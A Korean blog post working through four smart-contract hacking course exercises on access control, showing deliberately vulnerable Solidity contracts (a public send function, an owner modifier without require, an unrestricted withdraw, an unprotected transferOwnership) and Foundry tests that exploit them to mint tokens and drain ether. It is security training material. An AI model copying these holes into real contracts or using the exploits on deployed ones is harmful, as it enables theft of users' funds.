[SCH] Smart Contract Hacking 15편 - Access Control 1~4

0xDave·2023년 4월 18일
0

Ethereum

목록 보기
107/112
post-thumbnail

AC 1


아래 컨트랙트의 이더를 탈취하면 된다.

// https://smartcontractshacking.com/#copyright-policy
pragma solidity ^0.4.24;

/**
 * @title ProtocolVault
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract ProtocolVault {
    
    // Contract owner
    address public owner; 

    function ProtocolVault() public {
        owner = msg.sender;
    }
 
    function withdrawETH() external {
        require(msg.sender == owner, "Not owner");
        this._sendETH(msg.sender);
    }
 
    function _sendETH(address to) {
      to.transfer(address(this).balance);
    }

    function() external payable {}
}

그냥 _sendETH를 호출하면 되니 패스.


AC2


토큰을 민팅해보자.

pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";

/**
 * @title ToTheMoon
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract ToTheMoon is ERC20Pausable {

    address public owner;

    modifier onlyOwner() {
        msg.sender == owner;
        _;
    }

    constructor(uint256 _initialSupply) ERC20("To The Moon", "TTM") {
        owner = msg.sender;
        _mint(owner, _initialSupply);
    }

    function mint(address _to, uint256 _amount) external onlyOwner {
        _mint(_to, _amount);
    }

    function pause(bool state) external onlyOwner {
        if(state) {
            Pausable._pause();
        } else {
            Pausable._unpause();
        }
    }
}

onlyOwner modifier를 잘 살펴보면 require문이 없다..! 따라서 modifier는 의미가 없는 수준.

테스트 코드 작성

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/access-control-2/ToTheMoon.sol";

/**
@dev run "forge test --match-contract AC2" 
*/

contract TestAC2 is Test {

    uint256 constant ONE_MILLION = 1_000_000 * 1e18;

    ToTheMoon toTheMoon;
    address deployer;
    address user1;
    address attacker;


    function setUp() public {
        deployer = address(1);
        user1 = address(2);
        attacker = address(3);

        vm.startPrank(deployer);
        toTheMoon = new ToTheMoon(ONE_MILLION);
        vm.stopPrank();
    }

    function test_attack() public {
        vm.startPrank(attacker);
        toTheMoon.mint(attacker, ONE_MILLION + 1);
        vm.stopPrank();

        assertEq(toTheMoon.balanceOf(attacker) > toTheMoon.balanceOf(deployer), true);
    }
    
}

통과!


AC3


이더를 탈취해보자.

pragma solidity ^0.8.13;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

/**
 * @title KilianExclusive
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract KilianExclusive is ERC721, Ownable {

    uint16 public totalFragrances = 0;

    struct Fragrance {
        uint16 id;
        string name;
        uint256 mintedAt;
        uint256 lastRefill;
    }

    mapping(uint16 => Fragrance) public fragrances;

    string public baseURI = "https://metaverse.bykilian.com/";
    uint256 public constant fragrancePrice = 10 ether;
    bool public saleIsActive = false;

    constructor() ERC721("Kilian Exclusive", "Kilian") {}

    function setBaseURI(string memory _newURI) public onlyOwner {
        baseURI = _newURI;
    }

    function getFragrenceData(string memory _fragranceId) public view returns (string memory) {
        return string.concat(baseURI, _fragranceId);
    }

    function purchaseFragrance(uint16 _fragranceId) public payable {

        // Sanity checks        
        require(saleIsActive, "Sale must be active to mint a fragerence");
        require(fragrancePrice == msg.value, "Ether value sent is not correct");
        require(_fragranceId > 0 && _fragranceId <= totalFragrances, "invalid _fragranceId");

        Fragrance storage fragrance = fragrances[_fragranceId];
        require(fragrance.mintedAt == 0, "fragrence already purchased");

        // Mint fragrance
        fragrance.mintedAt = block.timestamp;
        _safeMint(msg.sender, _fragranceId);
    }

    function addFragrance(string memory _name) public onlyOwner {
        totalFragrances += 1;

        Fragrance storage fragrance = fragrances[totalFragrances];
        fragrance.id = totalFragrances;
        fragrance.name = _name;
        fragrance.mintedAt = 0;
        fragrance.lastRefill = 0;
    }

    function refillPerfume(uint16 _fragranceId) public {
        
        Fragrance storage fragrance = fragrances[_fragranceId];

        require(fragrance.id != 0, "fragrance doesn't exist");
        require(fragrance.mintedAt != 0, "fragrance not sold");

        require(ownerOf(_fragranceId) == msg.sender);
        
        require(block.timestamp - fragrance.lastRefill > 365 days);
        fragrance.lastRefill = block.timestamp;
    }

    function withdraw(address _to) public {
        require(msg.sender == _to);
        payable(_to).transfer(address(this).balance);
    }

    function flipSaleState() public onlyOwner {
        saleIsActive = !saleIsActive;
    }
}

그냥 withdraw를 호출하면 돼서 패스..


AC4


세일 컨트랙트의 이더를 탈취하면 된다. 컨트랙트 코드가 조금 길어서 핵심만 가져왔다.

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;
  	
  	//..
    
  	function transferOwnership(address newOwner) public virtual {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
  
  	//..
}


contract Starlight is Context, ERC20, Ownable {

    using Address for address payable;
    uint256 public salePrice = 0.01 ether;

    constructor() ERC20("Starlight Token", "Star") {}

    function buyTokens(uint256 _amount, address _to) external payable {
        
        require(_to != address(0), "invalid to");
        require(msg.value * 100 == _amount, "wrong amount of ETH sent");

        _mint(_to, _amount);
    }

    function withdraw() external onlyOwner {
        payable(owner()).sendValue(address(this).balance);
    }
    
}

transferOwnership()을 호출해서 ownership을 가져오면 이더를 출금할 수 있다.

테스트 코드 작성

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/access-control-4/Starlight.sol";

/**
@dev run "forge test --match-contract AC4" 
*/

contract TestAC4 is Test {

    Starlight startLight;

    address deployer;
    address user1;
    address user2;
    address attacker;

    uint256 constant USER_INITIAL_BUY = 1 ether;
    uint256 constant USER_INITIAL_AMOUNT = 100 * 1e18;

    function setUp() public {
        deployer = address(1);
        user1 = address(2);
        user2 = address(3);
        attacker = address(4);

        vm.deal(user1, USER_INITIAL_BUY);
        vm.deal(user2, USER_INITIAL_BUY);

        vm.prank(deployer);
        startLight = new Starlight();

        vm.prank(user1);
        startLight.buyTokens{value : USER_INITIAL_BUY}(USER_INITIAL_AMOUNT, user1);

        vm.prank(user2);
        startLight.buyTokens{value : USER_INITIAL_BUY}(USER_INITIAL_AMOUNT, user2);
    }

    function test_attack() public {
        vm.startPrank(attacker);
        startLight.transferOwnership(attacker);
        startLight.withdraw();
        vm.stopPrank();

        assertEq(attacker.balance, 2 *  USER_INITIAL_BUY);
        assertEq(address(startLight).balance, 0);
    }

성공!

profile
Just BUIDL :)

0개의 댓글